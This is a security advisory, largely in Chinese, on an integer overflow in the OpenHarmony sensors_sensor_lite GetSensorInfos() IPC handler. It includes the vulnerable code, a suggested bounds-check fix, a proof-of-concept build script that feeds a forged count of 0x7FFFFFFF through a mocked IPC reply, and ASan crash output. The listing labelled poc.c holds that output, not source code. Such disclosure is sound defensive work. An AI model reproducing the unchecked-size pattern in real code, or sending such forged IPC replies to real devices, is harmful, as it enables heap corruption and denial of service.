SubmittedCWE-190 — Integer Overflow or Wraparound
GetSensorInfos IPC count 字段无上界校验导致整数溢出与堆溢出
View Upstream Issuegitcode.com/openharmony/sensors_sensor_lite/issues/29CWE:CWE-190 — Integer Overflow or Wraparound
Repository:sensors_sensor_lite
Date:2026-05-16
Reporter:Zirui
Affected Files
frameworks/src/sensor_agent_proxy.c:139frameworks/src/sensor_agent_proxy.c:149漏洞概述
sensors_sensor_lite 的 GetSensorInfos() 函数从 IPC reply 中读取 notify->count(int32_t),仅检查 count <= 0,无上界限制。该值直接用于 malloc(sizeof(SensorInfo) * notify->count) 计算分配大小。攻击者通过构造恶意 IPC 响应设置超大 count 值,可触发整数溢出(分配极小缓冲区)后在循环 memcpy_s 中造成堆缓冲区溢出。
问题代码
文件: frameworks/src/sensor_agent_proxy.c
// Line 139-156
ReadInt32(reply, &(notify->count)); // ← IPC 输入,仅检查 <= 0
uint32_t len = 0;
ReadUint32(reply, &len);
uint8_t *data = (uint8_t *)ReadBuffer(reply, (size_t)len);
if ((notify->count <= 0) || (data == NULL)) { // ← 无上界校验
...
}
SensorInfo *sensorInfo = (SensorInfo *)(data);
*(notify->sensorInfo) = (SensorInfo *)malloc(sizeof(SensorInfo) * notify->count);
// ↑ sizeof(SensorInfo) * count 可整数溢出,分配极小缓冲区
for (int32_t i = 0; i < notify->count; i++) {
memcpy_s((*(notify->sensorInfo) + i), sizeof(SensorInfo), (sensorInfo + i),
sizeof(SensorInfo)); // ← 循环写入远超分配大小
}
触发条件
- 攻击者控制 Sensor Service 的 IPC 响应(或中间人篡改)
- 设置
notify->count为极大值(如0x7FFFFFFF) sizeof(SensorInfo) * 0x7FFFFFFF整数溢出,malloc 分配极小缓冲区- 循环 memcpy_s 写入
0x7FFFFFFF次,远超实际分配
影响
- 堆缓冲区溢出(可控写入内容为 SensorInfo 结构体数据)
- 进程崩溃(DoS)
- 潜在的代码执行(堆布局可控时)
PoC 验证
方法: Target-Compile — 编译真实 sensor_agent_proxy.c 为 .o,test driver 通过公共 API 入口 GetAllSensorsByProxy 触发完整调用链,mock IClientProxy 在 Invoke 中返回恶意 IPC 响应。
触发路径:
main → GetAllSensorsByProxy(mockProxy, &info, &count)
→ InitSensorList(proxy)
→ client->Invoke(client, GET_ALL_SENSORS, &request, &owner, Notify)
→ MockInvoke: 构造 IPC reply, count=0x7FFFFFFF
→ Notify(owner, 0, &reply)
→ GetSensorInfos(owner, &reply)
→ ReadInt32(&count) = 0x7FFFFFFF (无上界检查)
→ malloc(sizeof(SensorInfo) * 0x7FFFFFFF) = malloc(0x29ffffffac)
→ ASan OOM abort (64-bit) / 整数溢出+堆溢出 (32-bit)
ASan 输出:
==99330==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x29ffffffac bytes
#0 in malloc
#1 in GetSensorInfos sensor_agent_proxy.c:149
#2 in Notify sensor_agent_proxy.c:175
#3 in MockInvoke poc.c:70
#4 in InitSensorList sensor_agent_proxy.c:326
#5 in GetAllSensorsByProxy sensor_agent_proxy.c:343
#6 in main poc.c:100
SUMMARY: AddressSanitizer: out-of-memory in malloc
==99330==ABORTING
说明: 64-bit 平台上 sizeof(SensorInfo) * 0x7FFFFFFF 不会溢出 size_t,表现为 OOM abort。在 OpenHarmony 目标平台(32-bit ARM)上,该乘法溢出 size_t,malloc 分配极小缓冲区,后续循环 memcpy_s 造成堆缓冲区溢出。
修复建议
ReadInt32(reply, &(notify->count));
uint32_t len = 0;
ReadUint32(reply, &len);
uint8_t *data = (uint8_t *)ReadBuffer(reply, (size_t)len);
- if ((notify->count <= 0) || (data == NULL)) {
+ if ((notify->count <= 0) || (notify->count > MAX_SENSOR_COUNT) || (data == NULL)) {
+ notify->retCode = SENSOR_ERROR_INVALID_PARAM;
+ return SENSOR_ERROR_INVALID_PARAM;
+ }
+ if (len < (uint32_t)(notify->count * sizeof(SensorInfo))) {
notify->retCode = SENSOR_ERROR_INVALID_PARAM;
return SENSOR_ERROR_INVALID_PARAM;
}
Proof of Concept
build.sh57 lines · 1.8 KB
Download#!/bin/bash
# Build script for OH-2026-IPC-005 PoC (target-compile)
#
# Usage: ./build.sh <sensors_sensor_lite_path> <toolkit-stubs-path>
set -e
TARGET="${1:?Usage: $0 <sensors_sensor_lite_path> <toolkit-stubs-path>}"
STUBS="${2:?Missing toolkit-stubs-path}"
TMPDIR=$(mktemp -d /tmp/fermat_ipc005_XXXXXX)
trap "rm -rf $TMPDIR" EXIT
echo "[*] Compiling real sensor_agent_proxy.c ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
-I "$TARGET/interfaces/kits/native/include" \
-I "$TARGET/frameworks/include" \
-I "$TARGET/services/include" \
-I "$STUBS" \
"$TARGET/frameworks/src/sensor_agent_proxy.c" \
-o "$TMPDIR/sensor_agent_proxy.o"
echo "[*] Compiling stubs ..."
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
-I "$STUBS" "$STUBS/ohos_stubs.c" -o "$TMPDIR/ohos_stubs.o"
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
-I "$STUBS" "$STUBS/cJSON.c" -o "$TMPDIR/cJSON.o"
echo "[*] Compiling memcpy_s stub ..."
echo '#include <string.h>
int memcpy_s(void *d, size_t ds, const void *s, size_t n) {
if (!d || !s || n > ds) return 1;
memcpy(d, s, n); return 0;
}' | gcc -c -O0 -x c - -o "$TMPDIR/memcpy_s.o"
echo "[*] Compiling test driver ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
-I "$TARGET/interfaces/kits/native/include" \
-I "$TARGET/frameworks/include" \
-I "$TARGET/services/include" \
-I "$STUBS" \
"$(dirname "$0")/poc.c" \
-o "$TMPDIR/poc.o"
echo "[*] Linking ..."
g++ -O0 -fsanitize=address -fno-omit-frame-pointer \
-o "$TMPDIR/poc_bin" \
"$TMPDIR/sensor_agent_proxy.o" \
"$TMPDIR/cJSON.o" \
"$TMPDIR/ohos_stubs.o" \
"$TMPDIR/memcpy_s.o" \
"$TMPDIR/poc.o" \
-lpthread -lstdc++
echo "[*] Running PoC ..."
"$TMPDIR/poc_bin"
echo "[*] Done (exit=$?)"
poc.c109 lines · 3.7 KB
Download[POC] Calling GetAllSensorsByProxy with malicious IPC reply (count=0x7FFFFFFF)
[DEBUG] GetAllSensorsByProxy begin
[DEBUG] InitSensorList begin
[DEBUG] Notify begin
[DEBUG] GetSensorInfos begin
=================================================================
==99330==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x29ffffffac bytes
#0 in malloc
#1 in GetSensorInfos sensor_agent_proxy.c:149
#2 in Notify sensor_agent_proxy.c:175
#3 in MockInvoke poc.c:70
#4 in InitSensorList sensor_agent_proxy.c:326
#5 in GetAllSensorsByProxy sensor_agent_proxy.c:343
#6 in main poc.c:100
#7 in __libc_start_call_main
#8 in __libc_start_main_impl
SUMMARY: AddressSanitizer: out-of-memory in malloc
==99330==ABORTING